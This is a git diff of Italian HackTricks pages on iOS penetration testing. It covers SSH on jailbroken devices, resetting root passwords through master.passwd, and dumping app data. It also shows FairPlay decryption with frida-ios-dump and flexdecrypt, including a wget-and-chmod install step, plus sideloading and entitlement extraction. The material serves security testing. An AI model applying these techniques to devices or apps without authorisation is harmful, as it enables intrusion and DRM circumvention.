L'accesso **SSH** è abilitato installando il **pacchetto OpenSSH** dopo il jailbreak, consentendo connessioni tramite `ssh root@<device_ip_address>`. È fondamentale cambiare le password predefinite (`alpine`) per gli utenti `root` e `mobile` per proteggere il dispositivo.
|
||||||
|
|
||||||
L'accesso **SSH tramite USB** diventa necessario in assenza di Wi-Fi, utilizzando `iproxy` per mappare le porte del dispositivo per le connessioni SSH. Questa configurazione consente l'accesso SSH tramite USB eseguendo:
|
**SSH tramite USB** diventa necessario in assenza di Wi-Fi, utilizzando `iproxy` per mappare le porte del dispositivo per le connessioni SSH. Questa configurazione consente l'accesso SSH tramite USB eseguendo:
|
||||||
```bash
|
```bash
|
||||||
$ iproxy 2222 22
|
$ iproxy 2222 22
|
||||||
$ ssh -p 2222 root@localhost
|
$ ssh -p 2222 root@localhost
|
||||||
```
|
```
|
||||||
**Applicazioni shell su dispositivo**, come NewTerm 2, facilitano l'interazione diretta con il dispositivo, particolarmente utile per la risoluzione dei problemi. Le **shell SSH inverse** possono anche essere stabilite per l'accesso remoto dal computer host.
|
**Applicazioni shell on-device**, come NewTerm 2, facilitano l'interazione diretta con il dispositivo, particolarmente utile per la risoluzione dei problemi. **Shell SSH inverse** possono anche essere stabilite per l'accesso remoto dal computer host.
|
||||||
|
|
||||||
### **Reimpostazione delle password dimenticate**
|
### **Reimpostazione delle Password Dimenticate**
|
||||||
|
|
||||||
Per reimpostare una password dimenticata al valore predefinito (`alpine`), è necessario modificare il file `/private/etc/master.passwd`. Ciò comporta la sostituzione dell'hash esistente con l'hash per `alpine` accanto alle voci degli utenti `root` e `mobile`.
|
Per reimpostare una password dimenticata al valore predefinito (`alpine`), è necessario modificare il file `/private/etc/master.passwd`. Questo comporta la sostituzione dell'hash esistente con l'hash per `alpine` accanto alle voci utente `root` e `mobile`.
|
||||||
|
|
||||||
## **Tecniche di trasferimento dati**
|
## **Tecniche di Trasferimento Dati**
|
||||||
|
|
||||||
### **Trasferimento dei file di dati dell'app**
|
### **Trasferimento di File Dati dell'App**
|
||||||
|
|
||||||
**Archiviazione e recupero tramite SSH e SCP:** È semplice archiviare la directory dei dati dell'applicazione utilizzando `tar` e quindi trasferirla utilizzando `scp`. Il comando di seguito archivia la directory dei dati in un file .tgz, che viene quindi estratto dal dispositivo:
|
**Archiviazione e Recupero tramite SSH e SCP:** È semplice archiviare la directory Data dell'applicazione utilizzando `tar` e poi trasferirla usando `scp`. Il comando qui sotto archivia la directory Data in un file .tgz, che viene poi prelevato dal dispositivo:
|
||||||
```bash
|
```bash
|
||||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||||
exit
|
exit
|
||||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||||
```
|
```
|
||||||
### **Strumenti dell'Interfaccia Utente Grafica**
|
### **Strumenti per l'interfaccia grafica**
|
||||||
|
|
||||||
**Utilizzo di iFunbox e iExplorer:** Questi strumenti GUI sono utili per gestire i file sui dispositivi iOS. Tuttavia, a partire da iOS 8.4, Apple ha limitato l'accesso di questi strumenti alla sandbox dell'applicazione a meno che il dispositivo non sia jailbroken.
|
**Utilizzando iFunbox e iExplorer:** Questi strumenti GUI sono utili per gestire file sui dispositivi iOS. Tuttavia, a partire da iOS 8.4, Apple ha limitato l'accesso di questi strumenti al sandbox dell'applicazione a meno che il dispositivo non sia jailbroken.
|
||||||
|
|
||||||
### **Utilizzo di Objection per la Gestione dei File**
|
### **Utilizzando Objection per la gestione dei file**
|
||||||
|
|
||||||
**Shell interattiva con Objection:** Avviare Objection fornisce accesso alla directory Bundle di un'app. Da qui, è possibile navigare fino alla directory Documenti dell'app e gestire i file, inclusi il download e l'upload da e verso il dispositivo iOS.
|
**Shell interattiva con Objection:** Lanciare objection fornisce accesso alla directory Bundle di un'app. Da qui, puoi navigare nella directory Documenti dell'app e gestire i file, inclusi il download e l'upload da e verso il dispositivo iOS.
|
||||||
```bash
|
```bash
|
||||||
objection --gadget com.apple.mobilesafari explorer
|
objection --gadget com.apple.mobilesafari explorer
|
||||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||||
file download <filename>
|
file download <filename>
|
||||||
```
|
```
|
||||||
## **Ottenere ed Estrarre le App**
|
## **Ottenere ed Estrarre App**
|
||||||
|
|
||||||
### **Acquisizione del file IPA**
|
### **Acquisire il File IPA**
|
||||||
|
|
||||||
**Link di distribuzione Over-The-Air (OTA):** Le app distribuite per il testing tramite OTA possono essere scaricate utilizzando lo strumento di download degli asset di servizi ITMS, che viene installato tramite npm e utilizzato per salvare il file IPA in locale.
|
**Link di Distribuzione Over-The-Air (OTA):** Le app distribuite per il testing tramite OTA possono essere scaricate utilizzando lo strumento di download delle risorse dei servizi ITMS, che è installato tramite npm e utilizzato per salvare il file IPA localmente.
|
||||||
```bash
|
```bash
|
||||||
npm install -g itms-services
|
npm install -g itms-services
|
||||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||||
```
|
```
|
||||||
### **Estrazione del file binario dell'app**
|
### **Estrazione del Binario dell'App**
|
||||||
|
|
||||||
1. **Da un file IPA:** Decomprimere il file IPA per accedere al file binario dell'app decriptato.
|
1. **Da un IPA:** Decomprimi l'IPA per accedere al binario dell'app decrittografato.
|
||||||
2. **Da un dispositivo Jailbroken:** Installare l'app ed estrarre il file binario decriptato dalla memoria.
|
2. **Da un Dispositivo Jailbroken:** Installa l'app ed estrai il binario decrittografato dalla memoria.
|
||||||
|
|
||||||
### **Processo di decriptazione**
|
### **Processo di Decrittografia**
|
||||||
|
|
||||||
**Panoramica della decriptazione manuale:** I file binari delle app iOS sono criptati da Apple utilizzando FairPlay. Per effettuare l'ingegneria inversa, è necessario estrarre il file binario decriptato dalla memoria. Il processo di decriptazione prevede il controllo del flag PIE, l'aggiustamento dei flag di memoria, l'identificazione della sezione criptata e quindi l'estrazione e la sostituzione di questa sezione con la sua forma decriptata.
|
**Panoramica della Decrittografia Manuale:** I binari delle app iOS sono crittografati da Apple utilizzando FairPlay. Per fare reverse-engineering, è necessario estrarre il binario decrittografato dalla memoria. Il processo di decrittografia prevede il controllo del flag PIE, la modifica dei flag di memoria, l'identificazione della sezione crittografata e poi l'estrazione e la sostituzione di questa sezione con la sua forma decrittografata.
|
||||||
|
|
||||||
**Controllo e modifica del flag PIE:**
|
**Controllo e Modifica del Flag PIE:**
|
||||||
```bash
|
```bash
|
||||||
otool -Vh Original_App
|
otool -Vh Original_App
|
||||||
python change_macho_flags.py --no-pie Original_App
|
python change_macho_flags.py --no-pie Original_App
|
||||||
otool -Vh Hello_World
|
otool -Vh Hello_World
|
||||||
```
|
```
|
||||||
**Identificazione della sezione crittografata e dumping della memoria:**
|
**Identificazione della Sezione Cifrata e Dumping della Memoria:**
|
||||||
|
|
||||||
Determina gli indirizzi di inizio e fine della sezione crittografata utilizzando `otool` e esegui il dumping della memoria dal dispositivo jailbroken utilizzando gdb.
|
Determina gli indirizzi di inizio e fine della sezione cifrata utilizzando `otool` e dumpa la memoria dal dispositivo jailbroken utilizzando gdb.
|
||||||
```bash
|
```bash
|
||||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||||
dump memory dump.bin 0x8000 0x10a4000
|
dump memory dump.bin 0x8000 0x10a4000
|
||||||
```
|
```
|
||||||
**Sovrascrivere la sezione crittografata:**
|
**Sovrascrivere la Sezione Cifrata:**
|
||||||
|
|
||||||
Sostituisci la sezione crittografata nel binario originale dell'app con il dump decrittato.
|
Sostituisci la sezione cifrata nel binario originale dell'app con il dump decrittografato.
|
||||||
```bash
|
```bash
|
||||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||||
```
|
```
|
||||||
**Finalizzazione della decrittazione:** Modifica i metadati del binario per indicare l'assenza di crittografia utilizzando strumenti come **MachOView**, impostando `cryptid` a 0.
|
**Finalizzazione della Decrittazione:** Modifica i metadati del binario per indicare l'assenza di crittografia utilizzando strumenti come **MachOView**, impostando `cryptid` a 0.
|
||||||
|
|
||||||
### **Decrittazione (Automatica)**
|
### **Decrittazione (Automatica)**
|
||||||
|
|
||||||
#### **frida-ios-dump**
|
#### **frida-ios-dump**
|
||||||
Lo strumento [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) viene utilizzato per **decrittare ed estrarre automaticamente le app** dai dispositivi iOS. Inizialmente, è necessario configurare `dump.py` per connettersi al dispositivo iOS, che può essere fatto tramite localhost sulla porta 2222 tramite **iproxy** o direttamente tramite l'indirizzo IP e la porta del dispositivo.
|
Lo strumento [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) è impiegato per **decrittare ed estrarre automaticamente le app** dai dispositivi iOS. Inizialmente, è necessario configurare `dump.py` per connettersi al dispositivo iOS, il che può essere fatto tramite localhost sulla porta 2222 tramite **iproxy** o direttamente tramite l'indirizzo IP del dispositivo e la porta.
|
||||||
|
|
||||||
Le applicazioni installate sul dispositivo possono essere elencate con il comando:
|
Le applicazioni installate sul dispositivo possono essere elencate con il comando:
|
||||||
```bash
|
```bash
|
||||||
$ python dump.py -l
|
$ python dump.py -l
|
||||||
```
|
```
|
||||||
Per eseguire il dump di un'app specifica, come Telegram, viene utilizzato il seguente comando:
|
Per eseguire il dump di un'app specifica, come Telegram, si utilizza il seguente comando:
|
||||||
```bash
|
```bash
|
||||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||||
```
|
```
|
||||||
Questo comando avvia il dump dell'app, risultando nella creazione di un file `Telegram.ipa` nella directory corrente. Questo processo è adatto per dispositivi jailbroken, poiché le app non firmate o falsamente firmate possono essere reinstallate utilizzando strumenti come [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
Questo comando avvia il dump dell'app, risultando nella creazione di un file `Telegram.ipa` nella directory corrente. Questo processo è adatto per dispositivi jailbroken, poiché le app non firmate o firmate falsamente possono essere reinstallate utilizzando strumenti come [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||||
|
|
||||||
#### **flexdecrypt**
|
#### **flexdecrypt**
|
||||||
Lo strumento [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), insieme al suo wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), consente l'estrazione di file IPA dalle applicazioni installate. I comandi di installazione per **flexdecrypt** sul dispositivo includono il download e l'installazione del pacchetto `.deb`. **flexdump** può essere utilizzato per elencare e dumpare le app, come mostrato nei comandi seguenti:
|
Lo strumento [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), insieme al suo wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), consente l'estrazione di file IPA da applicazioni installate. I comandi di installazione per **flexdecrypt** sul dispositivo includono il download e l'installazione del pacchetto `.deb`. **flexdump** può essere utilizzato per elencare e dumpare app, come mostrato nei comandi qui sotto:
|
||||||
```bash
|
```bash
|
||||||
apt install zip unzip
|
apt install zip unzip
|
||||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||||
|
@ -141,33 +142,33 @@ flexdump list
|
||||||
flexdump dump Twitter.app
|
flexdump dump Twitter.app
|
||||||
```
|
```
|
||||||
#### **bagbak**
|
#### **bagbak**
|
||||||
[**bagbak**](https://github.com/ChiChou/bagbak), un altro strumento basato su Frida, richiede un dispositivo jailbroken per la decrittazione dell'app:
|
[**bagbak**](https://github.com/ChiChou/bagbak), un altro strumento basato su Frida, richiede un dispositivo jailbroken per la decrittazione delle app:
|
||||||
```bash
|
```bash
|
||||||
bagbak --raw Chrome
|
bagbak --raw Chrome
|
||||||
```
|
```
|
||||||
#### **r2flutch**
|
#### **r2flutch**
|
||||||
**r2flutch**, utilizzando sia radare che frida, serve per la decrittazione e il dumping delle app. Ulteriori informazioni possono essere trovate sulla sua [**pagina GitHub**](https://github.com/as0ler/r2flutch).
|
**r2flutch**, utilizzando sia radare che frida, serve per la decrittazione e il dumping delle app. Maggiori informazioni possono essere trovate sulla sua [**pagina GitHub**](https://github.com/as0ler/r2flutch).
|
||||||
|
|
||||||
### **Installazione delle App**
|
### **Installazione delle App**
|
||||||
|
|
||||||
**Sideloading** si riferisce all'installazione di applicazioni al di fuori dell'App Store ufficiale. Questo processo è gestito dal **daemon installd** e richiede che le app siano firmate con un certificato rilasciato da Apple. I dispositivi jailbroken possono aggirare questo processo tramite **AppSync**, consentendo l'installazione di pacchetti IPA falsamente firmati.
|
**Sideloading** si riferisce all'installazione di applicazioni al di fuori dell'App Store ufficiale. Questo processo è gestito dal **daemon installd** e richiede che le app siano firmate con un certificato rilasciato da Apple. I dispositivi jailbroken possono bypassare questo tramite **AppSync**, consentendo l'installazione di pacchetti IPA falsamente firmati.
|
||||||
|
|
||||||
#### **Strumenti per il Sideloading**
|
#### **Strumenti di Sideloading**
|
||||||
|
|
||||||
- **Cydia Impactor**: Uno strumento per firmare e installare file IPA su iOS e file APK su Android. Guide e risoluzione dei problemi possono essere trovate su [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
- **Cydia Impactor**: Uno strumento per firmare e installare file IPA su iOS e file APK su Android. Guide e risoluzione dei problemi possono essere trovate su [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||||
|
|
||||||
- **libimobiledevice**: Una libreria per Linux e macOS per comunicare con i dispositivi iOS. Sono forniti comandi di installazione ed esempi di utilizzo per ideviceinstaller per l'installazione di app tramite USB.
|
- **libimobiledevice**: Una libreria per Linux e macOS per comunicare con dispositivi iOS. I comandi di installazione e gli esempi di utilizzo per ideviceinstaller sono forniti per installare app tramite USB.
|
||||||
|
|
||||||
- **ipainstaller**: Questo strumento da linea di comando consente l'installazione diretta di app su dispositivi iOS.
|
- **ipainstaller**: Questo strumento da riga di comando consente l'installazione diretta delle app sui dispositivi iOS.
|
||||||
|
|
||||||
- **ios-deploy**: Per gli utenti macOS, ios-deploy installa app iOS dalla riga di comando. Scompattare l'IPA e utilizzare l'opzione `-m` per avviare direttamente l'app fanno parte del processo.
|
- **ios-deploy**: Per gli utenti macOS, ios-deploy installa app iOS dalla riga di comando. Decomprimere l'IPA e utilizzare il flag `-m` per il lancio diretto dell'app fanno parte del processo.
|
||||||
|
|
||||||
- **Xcode**: Utilizzare Xcode per installare app navigando su **Window/Devices and Simulators** e aggiungendo l'app a **Installed Apps**.
|
- **Xcode**: Utilizza Xcode per installare app navigando su **Finestra/Dispositivi e Simulatori** e aggiungendo l'app a **App Installate**.
|
||||||
|
|
||||||
#### **Consentire l'Installazione dell'App su Dispositivi Non-iPad**
|
#### **Consentire l'Installazione di Applicazioni su Dispositivi Non iPad**
|
||||||
Per installare applicazioni specifiche per iPad su dispositivi iPhone o iPod touch, il valore **UIDeviceFamily** nel file **Info.plist** deve essere modificato in **1**. Questa modifica, tuttavia, richiede la firma nuovamente del file IPA a causa dei controlli di convalida della firma.
|
Per installare applicazioni specifiche per iPad su dispositivi iPhone o iPod touch, il valore **UIDeviceFamily** nel file **Info.plist** deve essere cambiato in **1**. Questa modifica, tuttavia, richiede la ri-firma del file IPA a causa dei controlli di validazione della firma.
|
||||||
|
|
||||||
**Nota**: Questo metodo potrebbe non funzionare se l'app richiede funzionalità esclusive dei modelli di iPad più recenti mentre si utilizza un iPhone o iPod touch più vecchio.
|
**Nota**: Questo metodo potrebbe fallire se l'applicazione richiede capacità esclusive per i modelli di iPad più recenti mentre si utilizza un iPhone o un iPod touch più vecchio.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -178,16 +179,17 @@ Per installare applicazioni specifiche per iPad su dispositivi iPhone o iPod tou
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# Estrarre i diritti da un'applicazione compilata
|
# Estrazione dei Diritti da un'Applicazione Compilata
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
Sommario della pagina [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
Riepilogo della pagina [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||||
|
|
||||||
### **Estrazione dei diritti e dei file di provisioning mobile**
|
### **Estrazione dei Diritti e dei File di Provisioning Mobile**
|
||||||
|
|
||||||
Quando si tratta di un'app IPA o di un'app installata su un dispositivo jailbroken, potrebbe non essere possibile trovare direttamente i file `.entitlements` o il file `embedded.mobileprovision`. Tuttavia, è comunque possibile estrarre le liste di diritti dai file binari dell'app, seguendo le procedure descritte nel capitolo "iOS Basic Security Testing", in particolare nella sezione "Acquisizione del file binario dell'app".
|
Quando si tratta di un IPA di un'app o di un'app installata su un dispositivo jailbroken, trovare file `.entitlements` o il file `embedded.mobileprovision` direttamente potrebbe non essere possibile. Tuttavia, le liste di proprietà dei diritti possono ancora essere estratte dal binario dell'app, seguendo le procedure delineate nel capitolo "iOS Basic Security Testing", in particolare la sezione "Acquiring the App Binary".
|
||||||
|
|
||||||
Anche con i binari crittografati, è possibile utilizzare determinati passaggi per estrarre questi file. Se questi passaggi falliscono, potrebbero essere necessari strumenti come Clutch (se compatibile con la versione di iOS), frida-ios-dump o utility simili per decrittare ed estrarre l'app.
|
Anche con binari crittografati, possono essere impiegati determinati passaggi per estrarre questi file. Se questi passaggi falliscono, potrebbero essere necessari strumenti come Clutch (se compatibile con la versione iOS), frida-ios-dump o utility simili per decrittografare ed estrarre l'app.
|
||||||
|
|
||||||
#### **Estrazione del file Entitlements Plist dal file binario dell'app**
|
#### **Estrazione del Plist dei Diritti dal Binario dell'App**
|
||||||
|
|
||||||
Con il file binario dell'app accessibile su un computer, è possibile utilizzare **binwalk** per estrarre tutti i file XML. Il comando di seguito mostra come fare:
|
Con il binario dell'app accessibile su un computer, **binwalk** può essere utilizzato per estrarre tutti i file XML. Il comando qui sotto dimostra come farlo:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk -e -y=xml ./Telegram\ X
|
$ binwalk -e -y=xml ./Telegram\ X
|
||||||
|
|
||||||
|
@ -34,33 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||||
1430180 0x15D2A4 XML document, version: "1.0"
|
1430180 0x15D2A4 XML document, version: "1.0"
|
||||||
1458814 0x16427E XML document, version: "1.0"
|
1458814 0x16427E XML document, version: "1.0"
|
||||||
```
|
```
|
||||||
In alternativa, **radare2** può essere utilizzato per eseguire silenziosamente un comando ed uscire, cercando tutte le stringhe nel file binario dell'app che contengono "PropertyList":
|
In alternativa, **radare2** può essere utilizzato per eseguire silenziosamente un comando e uscire, cercando tutte le stringhe nel binario dell'app che contengono "PropertyList":
|
||||||
```bash
|
```bash
|
||||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||||
|
|
||||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||||
```
|
```
|
||||||
Entrambi i metodi, binwalk e radare2, consentono l'estrazione dei file `plist`, con un'ispezione del primo (0x0015d2a4) che rivela un recupero riuscito del [file di entitlements originale da Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
Entrambi i metodi, binwalk e radare2, consentono l'estrazione di file `plist`, con un'ispezione del primo (0x0015d2a4) che rivela un recupero riuscito del [file di autorizzazioni originale di Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||||
|
|
||||||
Per i binari delle app accessibili su dispositivi jailbroken (ad esempio, tramite SSH), il comando **grep** con l'opzione `-a, --text` può essere utilizzato per trattare tutti i file come testo ASCII:
|
Per i binari delle app accessibili su dispositivi jailbroken (ad esempio, tramite SSH), il comando **grep** con il flag `-a, --text` può essere utilizzato per trattare tutti i file come testo ASCII:
|
||||||
```bash
|
```bash
|
||||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||||
```
|
```
|
||||||
L'aggiustamento del flag `-A num, --after-context=num` consente di visualizzare più o meno righe. Questo metodo è valido anche per i file binari delle app crittografate ed è stato verificato su diverse app dell'App Store. Gli strumenti menzionati in precedenza possono anche essere utilizzati su dispositivi iOS jailbroken per scopi simili.
|
Regolare il flag `-A num, --after-context=num` consente di visualizzare più o meno righe. Questo metodo è valido anche per i binari delle app crittografate ed è stato verificato su più app dell'App Store. Gli strumenti menzionati in precedenza possono essere utilizzati anche su dispositivi iOS jailbroken per scopi simili.
|
||||||
|
|
||||||
**Nota**: Non è consigliabile utilizzare direttamente il comando `strings` per questa operazione a causa delle sue limitazioni nel trovare informazioni rilevanti. Invece, è consigliabile utilizzare grep con il flag `-a` sul binario o utilizzare radare2 (`izz`)/rabin2 (`-zz`) per ottenere risultati più efficaci.
|
**Nota**: L'uso diretto del comando `strings` non è raccomandato per questo compito a causa delle sue limitazioni nel trovare informazioni rilevanti. Invece, è consigliabile utilizzare grep con il flag `-a` sul binario o utilizzare radare2 (`izz`)/rabin2 (`-zz`) per risultati più efficaci.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
